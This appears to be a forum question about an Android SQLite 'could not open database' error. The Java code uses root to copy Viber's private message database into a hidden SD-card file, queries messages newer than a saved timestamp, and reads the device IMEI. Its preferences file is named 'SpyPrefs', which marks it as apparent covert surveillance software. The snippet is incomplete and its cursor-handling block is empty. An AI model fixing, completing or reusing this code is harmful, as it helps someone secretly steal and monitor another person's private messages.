title: SQLite : Exception:unknown error (code 14): Could not open database
body: <p>I have rooted the phone and copying the database of other application into the SD card. </p>
  
  <p>In the below code it simply copying the db file and after that fetching the data from the table. This code throw the exception <code>Exception:unknown error (code 14): Could not open database</code></p>
  
  <p>Guys help me if you have any idea of this.</p>
  
  <pre><code>String filep ="/mnt/sdcard/.configsvb.db";
  String filefolder="/data/data/com.viber.voip/databases/viber_messages";
  Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" &gt; "+filep+" ; "});
  
  new Helper().readvb(filep, getApplicationContext(), data); // This method read the database file.
  </code></pre>
  
  <p>Helper.java</p>
  
  <pre><code>public void readvb(String filep,Context con, StringBuilder data)
  {
          File dbfile = new File(filep);
          SharedPreferences preferences = con.getSharedPreferences("SpyPrefs", Context.MODE_WORLD_WRITEABLE);
          Editor editor = preferences.edit();
          if(dbfile.exists())
          {
                  myDataBase = SQLiteDatabase.openDatabase(filep, null,SQLiteDatabase.NO_LOCALIZED_COLLATORS);
                  long lastmessage = preferences.getLong("LastViberRead", 0);
                  long msgtime=0;
                  StringBuilder xml = new StringBuilder();
                  LogsTable logtable= new LogsTable(con);
                  Cursor cursor = myDataBase.query(DATABASE_TABLE, new String[]{"_id", "address","type", "body","date"}, "date&gt;"+lastmessage, null, null, null, null);
  
                  int count=0;
                  String imei = ((TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId();
                  SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
                  if(cursor != null)
                  {
  
                  }
          }
  }
  </code></pre>